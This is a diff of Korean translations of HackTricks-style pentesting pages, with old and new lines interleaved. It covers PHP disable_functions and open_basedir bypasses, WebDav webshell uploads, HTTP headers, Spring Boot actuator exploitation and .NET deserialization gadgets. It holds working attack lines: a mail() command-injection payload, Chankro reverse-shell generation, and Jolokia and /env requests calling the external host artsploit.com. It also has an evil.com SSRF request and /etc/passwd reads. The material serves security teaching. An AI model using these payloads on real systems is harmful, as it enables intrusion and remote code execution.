**mail / mb_send_mail** - 이 함수는 메일을 보내는 데 사용되지만, `$options` 매개변수에 임의의 명령을 주입하는 데 악용될 수 있습니다. 이는 **php `mail` 함수**가 일반적으로 시스템 내의 `sendmail` 바이너리를 호출하고 추가 옵션을 설정할 수 있기 때문입니다. 그러나 실행된 명령의 출력을 볼 수 없으므로, 출력을 파일에 기록하는 셸 스크립트를 만들고, 메일을 사용하여 실행한 후 출력을 인쇄하는 것이 권장됩니다:
```bash
file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA+IC90bXAvZmxhZy50eHQKCg==')); chmod('/www/readflag.sh', 0777); mail('', '', '', '', '-H \"exec /www/readflag.sh\"'); echo file_get_contents('/tmp/flag.txt');
```
**dl** - 이 함수는 PHP 확장을 동적으로 로드하는 데 사용할 수 있습니다. 이 함수는 항상 존재하지 않으므로, 이를 악용하기 전에 사용 가능한지 확인해야 합니다. [이 페이지를 읽어 이 함수를 악용하는 방법을 알아보세요](disable_functions-bypass-dl-function.md).
**dl** - 이 함수는 PHP 확장을 동적으로 로드하는 데 사용할 수 있습니다. 이 함수는 항상 존재하지 않으므로, 이를 악용하기 전에 사용 가능한지 확인해야 합니다. [이 페이지를 읽어 이 함수를 악용하는 방법을 배우세요](disable_functions-bypass-dl-function.md).
### PHP 코드 실행
@ -85,8 +85,8 @@ PHP 설정은 _/etc/php7/conf.d_ 또는 유사한 경로에서 구성되어야
## open_basedir Bypass
`open_basedir`는 PHP가 접근할 수 있는 폴더를 구성하며, 해당 폴더 외부의 파일을 **읽기/쓰기/실행**할 수 없고, 다른 디렉토리를 **나열**할 수도 없습니다.\
그러나 만약 임의의 PHP 코드를 실행할 수 있다면, 다음의 **코드** 조각을 사용하여 제한을 **우회**해 보십시오.
`open_basedir`는 PHP가 접근할 수 있는 폴더를 구성하며, 해당 폴더 외부의 파일을 **읽기/쓰기/실행**할 수 없습니다. 또한 다른 디렉토리를 **나열**할 수도 없습니다.\
그러나 만약 어떤 방법으로든 임의의 PHP 코드를 실행할 수 있다면, 다음의 **코드** 조각을 사용하여 제한을 **우회**해 보십시오.
### glob:// 우회로 디렉토리 나열하기
@ -114,7 +114,7 @@ echo "{$f}<br/>";
### Full open_basedir bypass abusing FastCGI
PHP-FPM 및 FastCGI에 대해 **더 알고 싶다면** [이 페이지의 첫 번째 섹션](disable_functions-bypass-php-fpm-fastcgi.md)을 읽을 수 있습니다.\
**`php-fpm`**이 구성되어 있다면 **open_basedir**를 완전히 우회하는 데 악용할 수 있습니다:
**`php-fpm`**이 구성되어 있다면, 이를 악용하여 **open_basedir**를 완전히 우회할 수 있습니다:
![](<../../../../images/image (545).png>)
@ -474,15 +474,15 @@ echo $client->request($params, $code)."\n";
```
이 스크립트는 **php-fpm의 유닉스 소켓**과 통신하여 임의의 코드를 실행합니다. `open_basedir` 설정은 전송된 **PHP_VALUE** 속성에 의해 덮어씌워집니다.\
`cmd` 매개변수 내에서 전송한 PHP 코드를 실행하기 위해 `eval`이 사용되는 방식을 주목하세요.\
또한 **주석 처리된 324행**을 주목하세요. 이 행의 주석을 해제하면 **페이로드가 주어진 URL에 자동으로 연결되어 그곳에 포함된 PHP 코드를 실행합니다.**\
또한 **주석 처리된 324번째 줄**을 주목하세요. 이 줄의 주석을 해제하면 **페이로드가 주어진 URL에 자동으로 연결되어 그곳에 포함된 PHP 코드를 실행합니다.**\
`http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd');`에 접근하여 `/etc/passwd` 파일의 내용을 가져오세요.
> [!WARNING]
> `open_basedir` 구성을 덮어쓴 것과 같은 방식으로 **`disable_functions`**를 **덮어쓸 수 있을 것이라고 생각할 수 있습니다.** 시도해 보세요, 그러나 작동하지 않을 것입니다. **`disable_functions`는 `.ini` php** 구성 파일에서만 설정할 수 있으며, PHP_VALUE를 사용하여 수행하는 변경 사항은 이 특정 설정에 효과적이지 않습니다.
> `open_basedir` 구성을 덮어쓴 것과 같은 방식으로 **`disable_functions`**를 **덮어쓸 수 있을 것**이라고 생각할 수 있습니다. 잘 해보세요, 하지만 작동하지 않을 것입니다. **`disable_functions`는 `.ini` php** 구성 파일에서만 설정할 수 있으며, PHP_VALUE를 사용하여 수행하는 변경 사항은 이 특정 설정에 효과적이지 않습니다.
## disable_functions 우회
PHP 코드가 머신 내에서 실행되고 있다면, 다음 단계로 나아가 **임의의 시스템 명령을 실행하고 싶을 것입니다.** 이 상황에서는 대부분 또는 모든 PHP **함수**가 **시스템 명령을 실행할 수 없도록 비활성화되어 있다는 것을 발견하는 것이 일반적입니다.**\
PHP 코드가 머신 내에서 실행되고 있다면, 다음 단계로 나아가 **임의의 시스템 명령을 실행**하고 싶을 것입니다. 이 상황에서는 대부분 또는 모든 PHP **함수**가 **시스템 명령을 실행할 수 없도록 비활성화**되어 있다는 것을 발견하는 것이 일반적입니다.\
따라서 이 제한을 우회하는 방법을 살펴보겠습니다(가능하다면).
### 자동 우회 발견
@ -491,11 +491,11 @@ PHP 코드가 머신 내에서 실행되고 있다면, 다음 단계로 나아
### 다른 시스템 함수를 사용한 우회
이 페이지의 시작으로 돌아가서 **명령 실행 함수 중 비활성화되지 않고 환경에서 사용 가능한 함수가 있는지 확인하세요.** 그 중 하나라도 찾으면 임의의 시스템 명령을 실행할 수 있습니다.
이 페이지의 시작으로 돌아가서 **명령 실행 함수 중 비활성화되지 않고 환경에서 사용 가능한 함수가 있는지 확인하세요**. 그 중 하나라도 찾으면 임의의 시스템 명령을 실행하는 데 사용할 수 있습니다.
### LD_PRELOAD 우회
`mail()`과 같은 PHP의 일부 함수가 **시스템 내에서 바이너리를 실행한다는 것은 잘 알려져 있습니다.** 따라서 환경 변수 `LD_PRELOAD`를 사용하여 이들을 남용하여 임의의 라이브러리를 로드하여 무엇이든 실행할 수 있습니다.
`mail()`과 같은 PHP의 일부 함수가 **시스템 내에서 바이너리를 실행**한다는 것은 잘 알려져 있습니다. 따라서 환경 변수 `LD_PRELOAD`를 사용하여 이들을 악용하여 임의의 라이브러리를 로드하게 할 수 있습니다.
#### LD_PRELOAD로 disable_functions를 우회할 수 있는 함수
@ -504,11 +504,11 @@ PHP 코드가 머신 내에서 실행되고 있다면, 다음 단계로 나아
- **`imap_mail`**: `php-imap` 모듈이 있는 경우 작동합니다.
- **`libvirt_connect`**: `php-libvirt-php` 모듈이 필요합니다.
- **`gnupg_init`**: `php-gnupg` 모듈이 설치된 경우 사용할 수 있습니다.
- **`new imagick()`**: 이 클래스는 제한을 우회하는 데 남용될 수 있습니다. 자세한 악용 기술은 포괄적인 [**여기서**](https://blog.bi0s.in/2019/10/23/Web/BSidesDelhi19-evalme/) 찾을 수 있습니다.
- **`new imagick()`**: 이 클래스는 제한을 우회하는 데 악용될 수 있습니다. 자세한 악용 기술은 포괄적인 [**여기서**](https://blog.bi0s.in/2019/10/23/Web/BSidesDelhi19-evalme/) 확인할 수 있습니다.
이 함수들을 찾기 위해 사용된 퍼징 스크립트는 [**여기서**](https://github.com/tarunkant/fuzzphunc/blob/master/lazyFuzzer.py) 찾을 수 있습니다.
이 함수들을 찾는 데 사용된 퍼징 스크립트는 [**여기서**](https://github.com/tarunkant/fuzzphunc/blob/master/lazyFuzzer.py) 확인할 수 있습니다.
다음은 `LD_PRELOAD` 환경 변수를 남용하기 위해 컴파일할 수 있는 라이브러리입니다:
다음은 `LD_PRELOAD` 환경 변수를 악용하기 위해 컴파일할 수 있는 라이브러리입니다:
```php
#include <unistd.h>
#include <sys/types.h>
@ -523,11 +523,11 @@ return 1;
```
#### Chankro를 이용한 우회
이 잘못된 구성을 악용하기 위해 [**Chankro**](https://github.com/TarlogicSecurity/Chankro)를 사용할 수 있습니다. 이는 **PHP 익스플로잇**을 생성하는 도구로, 이를 취약한 서버에 업로드하고 실행해야 합니다(웹을 통해 접근).\
**Chankro**는 피해자의 디스크에 **라이브러리와 리버스 셸**을 작성하고, **`LD_PRELOAD` 트릭 + PHP `mail()`** 함수를 사용하여 리버스 셸을 실행합니다.
이 잘못된 설정을 악용하기 위해 [**Chankro**](https://github.com/TarlogicSecurity/Chankro)를 사용할 수 있습니다. 이는 취약한 서버에 업로드하고 실행해야 하는 **PHP 익스플로잇**을 **생성하는 도구**입니다 (웹을 통해 접근).\
**Chankro**는 피해자의 디스크에 실행하고자 하는 **라이브러리와 리버스 셸**을 작성하고, **`LD_PRELOAD` 트릭 + PHP `mail()`** 함수를 사용하여 리버스 셸을 실행합니다.
**Chankro**를 사용하기 위해서는 `mail`과 `putenv`가 **`disable_functions` 목록에 나타나면 안 됩니다**.\
다음 예제에서는 **arch 64**에 대한 **chankro 익스플로잇**을 생성하는 방법을 보여줍니다. 이는 `whoami`를 실행하고 출력을 _/tmp/chankro_shell.out_에 저장하며, chankro는 **라이브러리와 페이로드**를 _/tmp_에 작성하고 **최종 익스플로잇**은 **bicho.php**로 호출됩니다(이 파일을 피해자의 서버에 업로드해야 합니다):
다음 예제에서는 **arch 64**에 대한 **chankro 익스플로잇**을 **생성하는 방법**을 보여주며, 이는 `whoami`를 실행하고 출력을 _/tmp/chankro_shell.out_에 저장합니다. chankro는 **라이브러리와 페이로드**를 _/tmp_에 작성하고, **최종 익스플로잇**은 **bicho.php**라고 불리게 됩니다 (이 파일을 피해자의 서버에 업로드해야 합니다):
{{#tabs}}
{{#tab name="shell.sh"}}
@ -549,18 +549,18 @@ python2 chankro.py --arch 64 --input shell.sh --path /tmp --output bicho.php
### "우회" PHP 기능 사용
**PHP**를 사용하면 **파일을 읽고 쓸 수 있으며, 디렉토리를 생성하고 권한을 변경할 수 있습니다**.\
심지어 **데이터베이스를 덤프할 수도 있습니다**.\
**PHP**를 사용하면 **파일을 읽고 쓰고, 디렉토리를 생성하고, 권한을 변경할 수 있습니다**.\
또한 **데이터베이스를 덤프할 수 있습니다**.\
**PHP**를 사용하여 박스를 **열거**하면 권한 상승/명령 실행 방법을 찾을 수 있을지도 모릅니다 (예: 일부 개인 ssh 키 읽기).
이 작업을 매우 쉽게 수행할 수 있는 웹쉘을 만들었습니다 (대부분의 웹쉘도 이 옵션을 제공합니다): [https://github.com/carlospolop/phpwebshelllimited](https://github.com/carlospolop/phpwebshelllimited)
이 작업을 쉽게 수행할 수 있는 웹쉘을 만들었습니다 (대부분의 웹쉘도 이러한 옵션을 제공합니다): [https://github.com/carlospolop/phpwebshelllimited](https://github.com/carlospolop/phpwebshelllimited)
### 모듈/버전 의존적 우회
특정 모듈이 사용되거나 특정 PHP 버전을 악용하는 경우 disable_functions를 우회하는 여러 방법이 있습니다:
- [**FastCGI/PHP-FPM (FastCGI Process Manager)**](disable_functions-bypass-php-fpm-fastcgi.md)
- [**FFI - 외부 함수 인터페이스 활성화로 우회**](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/broken-reference/README.md)
- [**FFI - 외부 함수 인터페이스 사용으로 우회**](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/broken-reference/README.md)
- [**mem을 통한 우회**](disable_functions-bypass-via-mem.md)
- [**mod_cgi**](disable_functions-bypass-mod_cgi.md)
- [**PHP Perl 확장 Safe_mode**](disable_functions-bypass-php-perl-extension-safe_mode-bypass-exploit.md)
@ -593,7 +593,7 @@ python2 chankro.py --arch 64 --input shell.sh --path /tmp --output bicho.php
### 콜백을 허용하는 함수 목록
이 함수들은 공격자가 선택한 함수를 호출하는 데 사용할 수 있는 문자열 매개변수를 허용합니다. 함수에 따라 공격자가 매개변수를 전달할 수 있는지 여부가 달라질 수 있습니다. 이 경우 phpinfo()와 같은 정보 유출 함수를 사용할 수 있습니다.
이 함수들은 공격자가 선택한 함수를 호출하는 데 사용할 수 있는 문자열 매개변수를 허용합니다. 함수에 따라 공격자는 매개변수를 전달할 수 있는 능력이 있을 수도 있고 없을 수도 있습니다. 이 경우 phpinfo()와 같은 정보 유출 함수를 사용할 수 있습니다.
[Callbacks / Callables](https://www.php.net/manual/en/language.types.callable.php)
@ -675,11 +675,11 @@ posix_setpgid
posix_setsid
posix_setuid
```
### 파일 시스템 함수
### Filesystem Functions
RATS에 따르면 PHP의 모든 파일 시스템 함수는 불쾌합니다. 이 중 일부는 공격자에게 그다지 유용하지 않은 것처럼 보입니다. 다른 것들은 생각보다 더 유용할 수 있습니다. 예를 들어 allow_url_fopen=On인 경우 URL을 파일 경로로 사용할 수 있으므로 copy($\_GET\['s'], $\_GET\['d']); 호출을 통해 시스템의 어느 위치에나 PHP 스크립트를 업로드할 수 있습니다. 또한 사이트가 GET을 통해 전송된 요청에 취약하다면, 이러한 모든 파일 시스템 함수는 서버를 통해 다른 호스트로 공격을 전달하는 데 악용될 수 있습니다.
RATS에 따르면 php의 모든 파일 시스템 함수는 불쾌합니다. 이 중 일부는 공격자에게 그다지 유용하지 않은 것처럼 보입니다. 그러나 다른 것들은 생각보다 더 유용할 수 있습니다. 예를 들어 allow_url_fopen=On인 경우 URL을 파일 경로로 사용할 수 있으므로 copy($\_GET\['s'], $\_GET\['d']); 호출을 통해 시스템의 어느 위치에나 PHP 스크립트를 업로드할 수 있습니다. 또한 사이트가 GET을 통해 전송된 요청에 취약하다면, 이러한 모든 파일 시스템 함수는 서버를 통해 다른 호스트로 공격을 전달하는 데 악용될 수 있습니다.
**오픈 파일 시스템 핸들러**
**Open filesystem handler**
```php
fopen
tmpfile
@ -687,7 +687,7 @@ bzopen
gzopen
SplFileObject->__construct
```
**파일 시스템에 쓰기 (부분적으로 읽기와 결합하여)**
**파일 시스템에 쓰기 (읽기와 부분적으로 결합)**
```php
chgrp
chmod

14
src/network-services-pentesting/pentesting-web/put-method-webdav.md
View File

@ -2,13 +2,13 @@
{{#include ../../banners/hacktricks-training.md}}
**WebDav**가 활성화된 **HTTP 서버**를 다룰 때, 올바른 **자격 증명**이 있다면 **파일을 조작**할 수 있습니다. 이는 일반적으로 **HTTP Basic Authentication**을 통해 확인됩니다. 이러한 서버에 대한 제어를 얻는 것은 종종 **웹쉘의 업로드 및 실행**을 포함합니다.
**WebDav**가 활성화된 **HTTP 서버**를 다룰 때, 올바른 **자격 증명**이 있다면 **파일을 조작**할 수 있습니다. 이는 일반적으로 **HTTP 기본 인증**을 통해 확인됩니다. 이러한 서버에 대한 제어를 얻는 것은 종종 **웹쉘의 업로드 및 실행**을 포함합니다.
WebDav 서버에 접근하려면 일반적으로 **유효한 자격 증명**이 필요하며, [**WebDav bruteforce**](../../generic-hacking/brute-force.md#http-basic-auth)는 이를 획득하는 일반적인 방법입니다.
WebDav 서버에 접근하려면 일반적으로 **유효한 자격 증명**이 필요하며, [**WebDav 브루트포스**](../../generic-hacking/brute-force.md#http-basic-auth)는 이를 획득하는 일반적인 방법입니다.
파일 업로드에 대한 제한을 극복하기 위해, 특히 서버 측 스크립트 실행을 방지하는 제한이 있는 경우, 다음과 같은 방법을 사용할 수 있습니다:
- **제한이 없으면** **실행 가능한 확장자**를 가진 파일을 직접 **업로드**합니다.
- **제한이 없다면** **실행 가능한 확장자**를 가진 파일을 직접 **업로드**합니다.
- 업로드된 비실행 파일(예: .txt)의 이름을 실행 가능한 확장자로 **변경**합니다.
- 업로드된 비실행 파일을 **복사**하고, 그 확장자를 실행 가능한 것으로 변경합니다.
@ -25,7 +25,7 @@ davtest [-auth user:password] -sendbd auto -url http://<IP> #Try to upload every
## Cadaver
이 도구를 사용하여 **WebDav** 서버에 연결하고 **수동으로** **업로드**, **이동** 또는 **삭제**와 같은 작업을 수행할 수 있습니다.
이 도구를 사용하여 **WebDav** 서버에 **수동으로** 연결하고 **업로드**, **이동** 또는 **삭제**와 같은 작업을 수행할 수 있습니다.
```
cadaver <IP>
```
@ -39,16 +39,16 @@ curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'
```
## IIS5/6 WebDav 취약점
이 취약점은 매우 흥미롭습니다. **WebDav**는 **.asp** 확장자를 가진 파일을 **업로드**하거나 **이름을 변경**하는 것을 **허용하지 않습니다**. 그러나 이름 끝에 **";.txt"**를 추가하면 파일이 .asp 파일처럼 **실행**됩니다 (대신 **".html"**을 사용할 수도 있지만 **";"**를 잊지 마세요).
이 취약점은 매우 흥미롭습니다. **WebDav**는 **.asp** 확장자를 가진 파일을 **업로드**하거나 **이름을 변경**하는 것을 **허용하지 않습니다**. 그러나 이름 끝에 **";.txt"**를 추가하면 파일이 .asp 파일처럼 **실행**됩니다 (대신 **".txt"** 대신 **".html"**을 사용할 수도 있지만 **";"**를 잊지 마세요).
그런 다음 당신은 자신의 쉘을 ".**txt" 파일**로 **업로드**하고 **".asp;.txt"** 파일로 **복사/이동**할 수 있습니다. 웹 서버를 통해 해당 파일에 접근하면 **실행**됩니다 (cadaver는 이동 작업이 작동하지 않았다고 말할 것이지만, 실제로는 작동했습니다).
그런 다음 당신은 ".**txt" 파일**로 쉘을 **업로드**하고 **".asp;.txt"** 파일로 **복사/이동**할 수 있습니다. 웹 서버를 통해 해당 파일에 접근하면 **실행**됩니다 (cadaver는 이동 작업이 작동하지 않았다고 말할 것이지만, 실제로는 작동했습니다).
![](<../../images/image (1092).png>)
## 자격 증명 후
Webdav가 Apache 서버를 사용하고 있다면 Apache에 구성된 사이트를 확인해야 합니다. 일반적으로:\
\_**/etc/apache2/sites-enabled/000-default**_
_**/etc/apache2/sites-enabled/000-default**_
그 안에는 다음과 같은 내용을 찾을 수 있습니다:
```

14
src/network-services-pentesting/pentesting-web/special-http-headers.md
View File

@ -76,7 +76,7 @@ A hop-by-hop header는 요청을 처리하는 프록시에서 처리되고 소
## Conditionals
- 이러한 헤더를 사용하는 요청: **`If-Modified-Since`** 및 **`If-Unmodified-Since`**는 응답 헤더\*\*`Last-Modified`\*\*에 다른 시간이 포함된 경우에만 데이터로 응답합니다.
- 이러한 헤더를 사용하는 요청: **`If-Modified-Since`** 및 **`If-Unmodified-Since`**는 응답 헤더 **`Last-Modified`**에 다른 시간이 포함된 경우에만 데이터로 응답합니다.
- **`If-Match`** 및 **`If-None-Match`**를 사용하는 조건부 요청은 Etag 값을 사용하여 데이터(Etag)가 변경된 경우 웹 서버가 응답의 내용을 전송합니다. `Etag`는 HTTP 응답에서 가져옵니다.
- **Etag** 값은 일반적으로 응답의 **내용**을 기반으로 **계산**됩니다. 예를 들어, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"`는 `Etag`가 **37 바이트**의 **Sha1**임을 나타냅니다.
@ -85,12 +85,12 @@ A hop-by-hop header는 요청을 처리하는 프록시에서 처리되고 소
- **`Accept-Ranges`**: 서버가 범위 요청을 지원하는지 여부와 범위를 표현할 수 있는 단위를 나타냅니다. `Accept-Ranges: <range-unit>`
- **`Range`**: 서버가 반환해야 하는 문서의 부분을 나타냅니다. 예를 들어, `Range:80-100`은 원래 응답의 80에서 100 바이트를 반환하며, 상태 코드는 206 Partial Content입니다. 요청에서 `Accept-Encoding` 헤더를 제거하는 것도 잊지 마세요.
- 이는 그렇지 않으면 이스케이프될 수 있는 임의의 반사된 자바스크립트 코드로 응답을 얻는 데 유용할 수 있습니다. 그러나 이를 악용하려면 요청에 이 헤더를 주입해야 합니다.
- **`If-Range`**: 주어진 etag 또는 날짜가 원격 리소스와 일치하는 경우에만 충족되는 조건부 범위 요청을 생성합니다. 리소스의 호환되지 않는 버전에서 두 범위를 다운로드하는 것을 방지하는 데 사용됩니다.
- **`If-Range`**: 주어진 etag 또는 날짜가 원격 리소스와 일치하는 경우에만 충족되는 조건부 범위 요청을 생성합니다. 이는 리소스의 호환되지 않는 버전에서 두 범위를 다운로드하는 것을 방지하는 데 사용됩니다.
- **`Content-Range`**: 전체 본문 메시지에서 부분 메시지가 속하는 위치를 나타냅니다.
## Message body information
- **`Content-Length`:** 리소스의 크기, 바이트의 10진수 수입니다.
- **`Content-Length`:** 리소스의 크기, 바이트의 10진수 숫자입니다.
- **`Content-Type`**: 리소스의 미디어 유형을 나타냅니다.
- **`Content-Encoding`**: 압축 알고리즘을 지정하는 데 사용됩니다.
- **`Content-Language`**: 청중을 위한 의도된 인간 언어를 설명하여 사용자가 자신의 선호하는 언어에 따라 구별할 수 있도록 합니다.
@ -99,7 +99,7 @@ A hop-by-hop header는 요청을 처리하는 프록시에서 처리되고 소
펜테스트 관점에서 이 정보는 일반적으로 "쓸모없다"고 여겨지지만, 리소스가 **401** 또는 **403**으로 **보호**되고 이 **정보**를 **얻는 방법**을 찾을 수 있다면, 이는 **흥미로울 수 있습니다.**\
예를 들어, HEAD 요청에서 **`Range`**와 **`Etag`**의 조합은 HEAD 요청을 통해 페이지의 내용을 유출할 수 있습니다:
- 헤더 `Range: bytes=20-20`와 응답에 `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"`가 포함된 요청은 바이트 20의 SHA1이 `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`임을 유출하고 있습니다.
- 헤더 `Range: bytes=20-20`와 응답에 `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"`가 포함된 요청은 바이트 20의 SHA1이 `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`임을 유출합니다.
## Server Info
@ -117,7 +117,7 @@ A hop-by-hop header는 요청을 처리하는 프록시에서 처리되고 소
```
Content-Disposition: attachment; filename="filename.jpg"
```
이것은 "filename.jpg"라는 이름의 파일이 다운로드되고 저장되도록 의도되었음을 의미합니다.
이것은 "filename.jpg"라는 파일이 다운로드되고 저장될 의도임을 의미합니다.
## 보안 헤더
@ -160,7 +160,7 @@ X-Frame-Options: DENY
```
### **Cross-Origin Resource Policy (CORP) and Cross-Origin Resource Sharing (CORS)**
CORP는 웹사이트가 로드할 수 있는 리소스를 지정하는 데 중요하며, 교차 사이트 누수를 완화합니다. 반면 CORS는 특정 조건 하에 동일 출처 정책을 완화하여 보다 유연한 교차 출처 리소스 공유 메커니즘을 허용합니다.
CORP는 웹사이트가 로드할 수 있는 리소스를 지정하는 데 중요하며, 교차 사이트 누수를 완화합니다. CORS는 반면에 더 유연한 교차 출처 리소스 공유 메커니즘을 허용하며, 특정 조건 하에 동일 출처 정책을 완화합니다.
```
Cross-Origin-Resource-Policy: same-origin
Access-Control-Allow-Origin: https://example.com
@ -175,7 +175,7 @@ Cross-Origin-Opener-Policy: same-origin-allow-popups
```
### **HTTP Strict Transport Security (HSTS)**
마지막으로, HSTS는 브라우저가 서버와 오직 안전한 HTTPS 연결을 통해서만 통신하도록 강제하는 보안 기능으로, 개인 정보 보호 및 보안을 강화합니다.
마지막으로, HSTS는 브라우저가 서버와 오직 안전한 HTTPS 연결을 통해서만 통신하도록 강제하는 보안 기능으로, 개인 정보 보호와 보안을 강화합니다.
```
Strict-Transport-Security: max-age=3153600
```

32
src/network-services-pentesting/pentesting-web/spring-actuators.md
View File

@ -6,29 +6,29 @@
<figure><img src="../../images/image (927).png" alt=""><figcaption></figcaption></figure>
**출처** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)\*\*\*\*
**From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)
## Spring Boot Actuators 악용하기
## Exploiting Spring Boot Actuators
**원본 게시물 확인:** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
**Check the original post from** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
### **주요 사항:**
### **Key Points:**
- Spring Boot Actuators는 `/health`, `/trace`, `/beans`, `/env` 등의 엔드포인트를 등록합니다. 1.0부터 1.4 버전까지는 이러한 엔드포인트에 인증 없이 접근할 수 있습니다. 1.5 버전부터는 기본적으로 `/health`와 `/info`만 비민감하지만, 개발자들이 종종 이 보안을 비활성화합니다.
- Spring Boot Actuators는 `/health`, `/trace`, `/beans`, `/env` 등의 엔드포인트를 등록합니다. 1부터 1.4 버전까지는 이러한 엔드포인트에 인증 없이 접근할 수 있습니다. 1.5 버전부터는 기본적으로 `/health`와 `/info`만 비민감하지만, 개발자들이 종종 이 보안을 비활성화합니다.
- 특정 Actuator 엔드포인트는 민감한 데이터를 노출하거나 해로운 작업을 허용할 수 있습니다:
- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, 및 `/heapdump`.
- Spring Boot 1.x에서는 액추에이터가 루트 URL 아래에 등록되지만, 2.x에서는 `/actuator/` 기본 경로 아래에 있습니다.
### **악용 기법:**
### **Exploitation Techniques:**
1. **'/jolokia'를 통한 원격 코드 실행**:
1. **Remote Code Execution via '/jolokia'**:
- `/jolokia` 액추에이터 엔드포인트는 Jolokia 라이브러리를 노출하여 MBeans에 대한 HTTP 접근을 허용합니다.
- `reloadByURL` 작업은 외부 URL에서 로깅 구성을 다시 로드하도록 악용될 수 있으며, 이는 블라인드 XXE 또는 조작된 XML 구성을 통한 원격 코드 실행으로 이어질 수 있습니다.
- 예시 악용 URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
2. **'/env'를 통한 구성 수정**:
2. **Config Modification via '/env'**:
- Spring Cloud Libraries가 존재하는 경우, `/env` 엔드포인트는 환경 속성 수정을 허용합니다.
- 속성은 Eureka serviceURL의 XStream 역직렬화 취약점과 같은 취약점을 악용하기 위해 조작될 수 있습니다.
- Spring Cloud Libraries가 존재하는 경우, `/env` 엔드포인트는 환경 속성을 수정할 수 있습니다.
- 속성은 Eureka serviceURL의 XStream 역직렬화 취약점을 악용하기 위해 조작될 수 있습니다.
- 예시 악용 POST 요청:
```
@ -40,27 +40,25 @@ Content-Length: 65
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
```
3. **기타 유용한 설정**:
3. **Other Useful Settings**:
- `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, 및 `spring.datasource.tomcat.max-active`와 같은 속성은 SQL 인젝션 또는 데이터베이스 연결 문자열 변경과 같은 다양한 악용을 위해 조작될 수 있습니다.
### **추가 정보:**
### **Additional Information:**
- 기본 액추에이터의 포괄적인 목록은 [여기](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt)에서 확인할 수 있습니다.
- Spring Boot 2.x의 `/env` 엔드포인트는 속성 수정을 위해 JSON 형식을 사용하지만, 일반 개념은 동일합니다.
- Spring Boot 2.x의 `/env` 엔드포인트는 속성 수정을 위해 JSON 형식을 사용하지만, 일반적인 개념은 동일하게 유지됩니다.
### **관련 주제:**
### **Related Topics:**
1. **Env + H2 RCE**:
- `/env` 엔드포인트와 H2 데이터베이스의 조합을 악용하는 방법에 대한 자세한 내용은 [여기](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database)에서 확인할 수 있습니다.
2. **잘못된 경로 이름 해석을 통한 Spring Boot의 SSRF**:
2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**:
- Spring 프레임워크의 HTTP 경로 이름에서 행렬 매개변수(`;`) 처리는 서버 측 요청 위조(SSRF)를 악용할 수 있습니다.
- 예시 악용 요청:
```http
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
```
{{#include ../../banners/hacktricks-training.md}}

32
src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
View File

@ -2,37 +2,37 @@
{{#include ../../banners/hacktricks-training.md}}
이 게시물은 **ObjectDataProvider 가젯이 어떻게 악용되는지 이해하는 것**과 **Json.Net 및 xmlSerializer가 그 가젯과 함께 어떻게 남용될 수 있는지**에 전념하고 있습니다.
이 게시물은 **ObjectDataProvider 가젯이 어떻게 악용되는지 이해하기 위해** 작성되었습니다. RCE를 얻기 위해 **Json.Net 및 xmlSerializer와 같은 직렬화 라이브러리가 어떻게 악용될 수 있는지** 설명합니다.
## ObjectDataProvider Gadget
문서에서: _ObjectDataProvider 클래스는 바인딩 소스로 사용할 수 있는 객체를 래핑하고 생성합니다._\
네, 이상한 설명이니, 이 클래스가 왜 그렇게 흥미로운지 살펴보겠습니다: 이 클래스는 **임의의 객체를 래핑**하고, _**MethodParameters**_를 사용하여 **임의의 매개변수를 설정**한 다음, **MethodName을 사용하여 임의의 함수**를 호출할 수 있게 해줍니다.\
따라서 임의의 **객체**는 **역직렬화되는 동안 매개변수와 함께** **함수를 실행**하게 됩니다.
네, 이상한 설명이니, 이 클래스가 왜 흥미로운지 살펴보겠습니다: 이 클래스는 **임의의 객체를 래핑**하고, _**MethodParameters**_를 사용하여 **임의의 매개변수를 설정**한 다음, **MethodName을 사용하여 임의의 함수**를 호출할 수 있게 해줍니다.\
따라서 임의의 **객체**는 **역직렬화되는 동안 매개변수와 함께 **함수를 실행**합니다.**
### **이것이 어떻게 가능한가**
### **이것이 어떻게 가능할까요**
**System.Windows.Data** 네임스페이스는 `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`에 있는 **PresentationFramework.dll** 내에서 정의되고 구현됩니다.
**System.Windows.Data** 네임스페이스는 **PresentationFramework.dll** 내에 정의되고 구현되어 있으며, 경로는 `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`입니다.
[**dnSpy**](https://github.com/0xd4d/dnSpy)를 사용하면 우리가 관심 있는 클래스의 **코드를 검사**할 수 있습니다. 아래 이미지에서 **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**의 코드를 보고 있습니다.
